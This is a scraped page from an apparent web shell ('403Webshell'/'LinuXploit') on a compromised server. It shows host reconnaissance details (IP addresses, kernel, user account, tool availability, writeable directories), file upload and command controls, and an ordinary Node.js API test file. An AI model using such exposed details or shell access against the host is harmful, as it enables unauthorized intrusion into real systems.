403Webshell
Server IP : 167.235.67.158  /  Your IP : 216.73.216.95
Web Server : Apache
System : Linux ubuntu-8gb-nbg1-1 6.8.0-111-generic #111-Ubuntu SMP PREEMPT_DYNAMIC Sat Apr 11 23:16:02 UTC 2026 x86_64
User : upstairsbar.co.uk ( 982)
PHP Version : 8.3.6
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/www/api.pda.the-word.com/tests/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/api.pda.the-word.com/tests/trackRecord.test.js
const assert = require('node:assert/strict');
const crypto = require('node:crypto');
const test = require('node:test');

const { createStudent, hasAuthEnv, login, request, syncEnvelope } = require('./helpers');

const it = hasAuthEnv ? test : test.skip;

it('track record upsert applies newer change and skips stale change', async () => {
  const auth = await login();
  const student = await createStudent(auth.accessToken);
  const before = await request('/track-record', { token: auth.accessToken });
  const cursorBefore = before.body.nextCursor || 0;

  const create = await request(`/track-record/${student.serverId}/1`, {
    method: 'PUT',
    token: auth.accessToken,
    body: {
      ...syncEnvelope(),
      rating: 2
    }
  });

  assert.equal(create.status, 200);
  assert.equal(create.body.status, 'applied');

  const update = await request(`/track-record/${student.serverId}/1`, {
    method: 'PUT',
    token: auth.accessToken,
    body: {
      ...syncEnvelope(),
      rating: 3
    }
  });

  assert.equal(update.status, 200);
  assert.equal(update.body.status, 'applied');

  const stale = await request(`/track-record/${student.serverId}/1`, {
    method: 'PUT',
    token: auth.accessToken,
    body: {
      actionId: crypto.randomUUID(),
      deviceId: 'api-integration-tests',
      clientEditedAtUtc: '2000-01-01T00:00:00.000Z',
      rating: 1
    }
  });

  assert.equal(stale.status, 200);
  assert.equal(stale.body.status, 'skipped');

  const delta = await request(`/track-record?afterCursor=${cursorBefore}`, { token: auth.accessToken });
  assert.equal(delta.status, 200);
  assert.ok(delta.body.records.some((record) => record.studentId === student.serverId && record.skillId === 1));

  const deltaWithSnapshot = await request(`/track-record?afterCursor=${cursorBefore}&cursorSnapshot=1`, { token: auth.accessToken });
  assert.equal(deltaWithSnapshot.status, 200);
  assert.ok(Number(deltaWithSnapshot.body.nextCursor) >= Number(update.body.cursor));
  assert.ok(deltaWithSnapshot.body.records.some((record) => record.studentId === student.serverId && record.skillId === 1));
});

Youez - 2016 - github.com/yon3zu
LinuXploit